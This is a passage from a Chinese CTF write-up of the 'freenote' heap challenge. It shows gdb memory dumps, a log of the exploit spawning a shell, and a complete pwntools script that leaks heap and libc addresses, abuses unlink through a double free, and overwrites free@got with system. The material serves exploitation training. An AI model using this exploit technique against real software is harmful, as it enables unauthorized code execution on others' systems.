  3. 0x603010: 0x0000000000000100 0x0000000000000002
  4. 0x603020: 0x0000000000000001 0x0000000000000008 <-- notes[0].length = 8
  5. 0x603030: 0x0000000000602018 0x0000000000000001 <-- notes[0].content = free@got
  6. 0x603040: 0x0000000000000008 0x00000000006048c0
  7. 0x603050: 0x0000000000000001 0x0000000000000139
  8. 0x603060: 0x0000000000604950 0x0000000000000000
  9. 0x603070: 0x0000000000000000 0x00000000006049e0
  10. gef x/gx 0x602018
  11. 0x602018 <free@got.plt>: 0x00007ffff7a97df0

另外这里将 length 设置为 8 也是有意义的,因为我们下一步修改 free 的地址为 system 地址,正好是 8 个字符长度,程序直接编辑其内容而不会调用 realloc 重新分配空间:

  1. editnote(0, p64(system_addr))
  1. gef x/gx 0x602018
  2. 0x602018 <free@got.plt>: 0x00007ffff7a5b640
  3. gef p system
  4. $1 = {<text variable, no debug info>} 0x7ffff7a5b640 <system>

于是最后一步调用 free 时,实际上是调用了 system('/bin/sh')

  1. delnote(1)
  1. gef x/s 0x6048c0
  2. 0x6048c0: "/bin/sh"

pwn

开启 ASLR。Bingo!!!

  1. $ python exp.py
  2. [+] Starting local process './freenote': pid 30146
  3. [*] heap base: 0x23b5000
  4. [*] libc base: 0x7efc6903e000
  5. [*] system address: 0x7efc69084640
  6. [*] Switching to interactive mode
  7. $ whoami
  8. firmy

exploit

完整的 exp 如下:

  1. from pwn import *
  2. io = process(['./freenote'], env={'LD_PRELOAD':'./libc-2.19.so'})
  3. elf = ELF('freenote')
  4. libc = ELF('libc-2.19.so')
  5. def newnote(x):
  6. io.recvuntil("Your choice: ")
  7. io.sendline("2")
  8. io.recvuntil("Length of new note: ")
  9. io.sendline(str(len(x)))
  10. io.recvuntil("Enter your note: ")
  11. io.send(x)
  12. def delnote(x):
  13. io.recvuntil("Your choice: ")
  14. io.sendline("4")
  15. io.recvuntil("Note number: ")
  16. io.sendline(str(x))
  17. def listnote(x):
  18. io.recvuntil("Your choice: ")
  19. io.sendline("1")
  20. io.recvuntil("%d. " % x)
  21. return io.recvline(keepends=False)
  22. def editnote(x, s):
  23. io.recvuntil("Your choice: ")
  24. io.sendline("3")
  25. io.recvuntil("Note number: ")
  26. io.sendline(str(x))
  27. io.recvuntil("Length of note: ")
  28. io.sendline(str(len(s)))
  29. io.recvuntil("Enter your note: ")
  30. io.send(s)
  31. def leak_base():
  32. global heap_base
  33. global libc_base
  34. for i in range(4):
  35. newnote("A"*8)
  36. delnote(0)
  37. delnote(2)
  38. newnote("A"*8) # note 0
  39. s = listnote(0)[8:]
  40. heap_addr = u64((s.ljust(8, "\x00"))[:8])
  41. heap_base = heap_addr - 0x1940 # 0x1940 = 0x1820 + 0x90*2
  42. log.info("heap base: 0x%x" % heap_base)
  43. newnote("A"*8) # note 2
  44. s = listnote(2)[8:]
  45. libc_addr = u64((s.ljust(8, "\x00"))[:8])
  46. libc_base = libc_addr - (libc.symbols['__malloc_hook'] + 0x78) # 0x78 = libc_addr - __malloc_hook_addr
  47. log.info("libc base: 0x%x" % libc_base)
  48. for i in range(4):
  49. delnote(i)
  50. def unlink():
  51. newnote(p64(0) + p64(0) + p64(heap_base + 0x18) + p64(heap_base + 0x20)) # note 0
  52. newnote('/bin/sh\x00') # note 1
  53. newnote("A"*128 + p64(0x1a0)+p64(0x90)+"A"*128 + p64(0)+p64(0x21)+"A"*24 + "\x01") # note 2
  54. delnote(3) # double free
  55. def overwrite_note():
  56. system_addr = libc_base + libc.symbols['system']
  57. log.info("system address: 0x%x" % system_addr)
  58. editnote(0, p64(2) + p64(1)+p64(8)+p64(elf.got['free'])) # Note.content = free_got
  59. editnote(0, p64(system_addr)) # free => system
  60. def pwn():
  61. delnote(1) # system('/bin/sh')
  62. io.interactive()
  63. if __name__ == "__main__":
  64. leak_base()
  65. unlink()
  66. overwrite_note()
  67. pwn()

参考资料